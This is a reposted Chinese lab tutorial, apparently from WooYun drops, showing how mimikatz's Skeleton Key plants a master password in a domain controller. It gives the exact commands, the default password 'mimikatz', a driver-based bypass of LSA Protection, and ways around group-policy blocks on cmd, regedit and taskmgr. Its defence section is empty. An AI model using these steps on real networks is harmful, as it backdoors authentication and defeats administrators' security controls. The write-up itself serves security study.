<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/12670

                    0x00 前言


                    上篇介紹了利用SSP來維持域控權限,美中不足在于其需要域控重啟才能生效,而在眾多的域滲透方法中,當然存在不需要域控重啟即能生效的方法,所以這次就介紹其中的一個方法——Skeleton Key

                    Alt text

                    0x01 簡介


                    Skeleton Key被安裝在64位的域控服務器上
                    支持Windows Server2003—Windows Server2012 R2
                    能夠讓所有域用戶使用同一個萬能密碼進行登錄
                    現有的所有域用戶使用原密碼仍能繼續登錄
                    重啟后失效
                    Mimikatz(Version 2.0 alpha,20150107)支持 Skeleton Key

                    參考代碼:
                    https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

                    0x02 實際測試


                    測試環境

                    域控:Server 2008 R2 x64
                    域內主機: Win7 x64
                    

                    1、域內主機使用正確密碼登錄域控

                    用戶名:[email protected]
                    密碼:12345678!Q

                    cmd命令:

                    #!bash
                    net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:[email protected]
                    dir \\WIN-8VVLRPIAJB0.test.local\c$
                    

                    如圖 Alt text

                    2、在域控安裝Skeleton Key

                    mimikatz命令:

                    #!bash
                    privilege::debug
                    misc::skeleton
                    

                    如圖 Alt text

                    注:
                    64系統需要使用64位的mimikatz

                    3、域內主機使用Skeleton Key登錄域控

                    (1)清除net use連接

                    cmd命令:

                    #!bash
                    net use */del /y
                    

                    如圖 Alt text

                    (2)使用Skeleton Key登錄

                    mimikatz的默認Skeleton Key設置為mimikatz

                    cmd命令:

                    #!bash
                    net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:[email protected]
                    dir \\WIN-8VVLRPIAJB0.test.local\c$
                    

                    如圖 Alt text

                    (3)權限測試

                    a、使用域內不存在的用戶+Skeleton Key登錄

                    b、使用域內普通權限用戶+Skeleton Key登錄

                    如圖 Alt text

                    發現使用域內不存在的用戶無法登錄

                    使用域內普通權限用戶無法訪問域控

                    結論: Skeleton Key只是給所有賬戶添加了一個萬能密碼,無法修改賬戶的權限

                    4、LSA Protection

                    微軟在2014年3月12日添加了LSA保護策略,用來防止對進程lsass.exe的代碼注入,這樣一來就無法使用mimikatz對lsass.exe進行注入,相關操作也會失敗。

                    適用系統:

                    Windows 8.1
                    Windows Server 2012 R2
                    

                    所以接下來換用Windows Server 2012 R2 x64進行測試

                    (1)配置LSA Protection

                    注冊表位置:
                    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

                    如圖 Alt text

                    新建-DWORD值,名稱為RunAsPPL,數值為00000001

                    如圖 Alt text

                    重啟系統

                    (2)測試Skeleton Key

                    mimikatz命令:

                    #!bash
                    privilege::debug
                    misc::skeleton
                    

                    此時失敗 Alt text

                    (3)繞過LSA Protection

                    mimikatz早在2013年10月就已支持繞過LSA Protection

                    如圖 Alt text

                    參考源碼:
                    https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c

                    注:
                    該功能需要mimidrv.sys文件

                    Alt text

                    mimikatz命令:

                    #!bash
                    privilege::debug
                    !+
                    !processprotect /process:lsass.exe /remove
                    misc::skeleton
                    

                    如圖,導入驅動文件mimidrv.sys后,繞過LSA Protection,操作成功

                    Alt text

                    0x03 補充


                    分享一些常見問題的解決方法,管理員常常會禁用一些重要程序的運行,比如cmd、regedit、taskmgr

                    1、如何禁用cmd、regedit、taskmgr

                    輸出gpedit.msc進入本地組策略編輯器

                    本地計算機測試-用戶配置-管理模板-系統

                    如圖 Alt text

                    禁用cmd:

                    選擇"阻止訪問命令提示符"-啟用 Alt text

                    禁用regedit:

                    選擇"阻止訪問注冊表編輯工具"-啟用 Alt text

                    禁用taskmgr:

                    選擇"不要運行指定的Windows應用程序"-不允許的應用程序列表-填入taskmgr.exe-啟用 Alt text

                    測試:

                    Alt text

                    如圖cmd、regedit、taskmgr均已被禁用

                    2、繞過

                    mimikatz命令:

                    #!bash
                    privilege::debug
                    misc::cmd
                    misc::regedit
                    misc::taskmgr
                    

                    如圖,成功執行,繞過限制

                    Alt text

                    0x04 防御


                    0x05 小結


                    這次不僅測試了Skeleton Key,還介紹了mimikatz的一些隱藏功能,而這些功能并未在其官方說明文檔中出現。

                    其實通過研究mimikatz的源碼,你會發現還有許多的隱藏功能值得挖掘利用。

                    還是那句老話,只有了解如何攻擊才能更好的防御,希望本文無論是對滲透攻擊還是防御,均有幫助。

                    0x06 參考資料


                    本文由三好學生原創并首發于烏云drops,轉載請注明

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频